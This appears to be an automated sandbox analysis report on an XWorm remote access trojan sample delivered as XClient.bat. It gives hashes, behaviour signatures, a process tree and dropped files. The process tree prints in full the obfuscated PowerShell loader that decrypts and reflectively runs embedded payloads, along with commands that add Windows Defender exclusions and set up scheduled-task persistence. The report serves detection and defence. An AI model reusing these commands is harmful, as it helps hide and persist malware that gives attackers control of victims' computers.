Resubmissions

04-09-2024 03:02

240904-djne2svhpa 10

04-09-2024 03:01

240904-djb21svhne 1

04-09-2024 01:09

240904-bhv3dstbjg 10

03-09-2024 23:53

240903-3xrgaszhqm 10

03-09-2024 23:29

240903-3gywfa1fna 10

03-09-2024 23:26

240903-3ev2rs1erg 10

Analysis

  • max time kernel
    92s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-09-2024 23:26

General

  • Target

    XClient.bat

  • Size

    320KB

  • MD5

    e0d59aedb927f0aad0b47eab247e5fbc

  • SHA1

    8abe8db8e344729b0f78d83e540b17a31893ed92

  • SHA256

    ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

  • SHA512

    7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97

  • SSDEEP

    6144:HQIYl64Q3Gx/E7X3YIzsUW4MN2nwaF0FbD/VdFzqEE/jeT3/:HQIh77X3t6+4VdFzoW/

Malware Config

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_297_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_297.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1512
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_297.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4344
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_297.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:4020
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4756
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:3772
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y+qf52DrQiYLUaozbbmw9JavODvF6+9CeZx0/k94u9k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4WB4xmZ2PUqqywaBQpnlmg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfVzQ=New-Object System.IO.MemoryStream(,$param_var); $AjFMf=New-Object System.IO.MemoryStream; $JrhbC=New-Object System.IO.Compression.GZipStream($vfVzQ, [IO.Compression.CompressionMode]::Decompress); $JrhbC.CopyTo($AjFMf); $JrhbC.Dispose(); $vfVzQ.Dispose(); $AjFMf.Dispose(); $AjFMf.ToArray();}function execute_function($param_var,$param2_var){ $AKLYU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eguYy=$AKLYU.EntryPoint; $eguYy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_297.bat';$FsplU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_297.bat').Split([Environment]::NewLine);foreach ($NLDPG in $FsplU) { if ($NLDPG.StartsWith(':: ')) { $wgQrx=$NLDPG.Substring(3); break; }}$payloads_var=[string[]]$wgQrx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Drops startup file
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2176
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4456
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1696
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2432
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1292
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
                  6⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:2304
      • C:\Users\Admin\AppData\Roaming\System User
        "C:\Users\Admin\AppData\Roaming\System User"
        1⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:5064

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        661739d384d9dfd807a089721202900b

        SHA1

        5b2c5d6a7122b4ce849dc98e79a7713038feac55

        SHA256

        70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

        SHA512

        81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        ff2ebc63009127bf2c74f18dc727774e

        SHA1

        603a245252097e9b8d6823e08a76361ba94f7720

        SHA256

        5048a68ea6a51a2a93fba28d043dbcc8ae067225e4e1b9569a74caac617e9a42

        SHA512

        15b4baf594f91eba3ad7d390859140220da191bfc9de2eeeca5455a643ce5b19cd88b221e354d6a577df799564cc73285f2418108d2b850630196053ac53007b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d42b6da621e8df5674e26b799c8e2aa

        SHA1

        ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

        SHA256

        5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

        SHA512

        53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        b7189719e6df2c3dfc76197ec3f31f7a

        SHA1

        effd91412deadc87cc10ef76cdecc1e0b54b6d41

        SHA256

        1c72fa37d078b92c7e900b2e3d17c43c34d936a696a8ddf6c519f4a80308b892

        SHA512

        2df1f1d45844da7ffb17cdfb411f223e9c614c00f5cf7eb5ba92bf7ba174875af2a515371208286c95c0479c934ae2c6a83dfc0b54380be89db1eddd19faf978

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        c08aea9c78561a5f00398a723fdf2925

        SHA1

        2c880cbb5d02169a86bb9517ce2a0184cb177c6e

        SHA256

        63d2688b92da4d1bb69980b7998b9be1595dd9e53951434a9414d019c4f825a7

        SHA512

        d30db2f55bbda7102ffe90520d233355633313dcc77cdb69a26fdbb56e59dd41793def23d69dc5dc3f94c5bd41d3c26b3628886fd2edbed2df0b332e9a21f95c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33hyqsa3.uih.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\System User

        Filesize

        442KB

        MD5

        04029e121a0cfa5991749937dd22a1d9

        SHA1

        f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

        SHA256

        9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

        SHA512

        6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

      • C:\Users\Admin\AppData\Roaming\startup_str_297.bat

        Filesize

        320KB

        MD5

        e0d59aedb927f0aad0b47eab247e5fbc

        SHA1

        8abe8db8e344729b0f78d83e540b17a31893ed92

        SHA256

        ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

        SHA512

        7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97

      • C:\Users\Admin\AppData\Roaming\startup_str_297.vbs

        Filesize

        115B

        MD5

        941ff3e622aaadb4a39fde06ca43f35e

        SHA1

        628fde28ec57169a7ccff8b4203c132a7f3cd384

        SHA256

        54525316ce4617b0058bf01718c0ca91e77a19e63f386db763d101d239722ee6

        SHA512

        c9edf93951bc3a10dd0ca6d6d3e431a1ee1a38c4ae7fdc8d02bff15c482e1a29592b0ed993e55e22e08a1ce2563f51cc4b54342f32a07b127e75b4196686d162

      • memory/1512-27-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/1512-30-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/1512-26-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/1512-16-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/2176-111-0x0000024D3B9B0000-0x0000024D3B9BC000-memory.dmp

        Filesize

        48KB

      • memory/2176-109-0x0000024D3B1E0000-0x0000024D3B1EC000-memory.dmp

        Filesize

        48KB

      • memory/2176-49-0x0000024D3B4F0000-0x0000024D3B54A000-memory.dmp

        Filesize

        360KB

      • memory/2392-13-0x000001CA6EF80000-0x000001CA6EF88000-memory.dmp

        Filesize

        32KB

      • memory/2392-50-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/2392-12-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/2392-10-0x000001CA6EF90000-0x000001CA6EFB2000-memory.dmp

        Filesize

        136KB

      • memory/2392-11-0x00007FF8BD370000-0x00007FF8BDE31000-memory.dmp

        Filesize

        10.8MB

      • memory/2392-14-0x000001CA6F1E0000-0x000001CA6F21E000-memory.dmp

        Filesize

        248KB

      • memory/2392-0-0x00007FF8BD373000-0x00007FF8BD375000-memory.dmp

        Filesize

        8KB

      • memory/5064-107-0x00000189D28E0000-0x00000189D2924000-memory.dmp

        Filesize

        272KB

      • memory/5064-108-0x00000189D29B0000-0x00000189D2A26000-memory.dmp

        Filesize

        472KB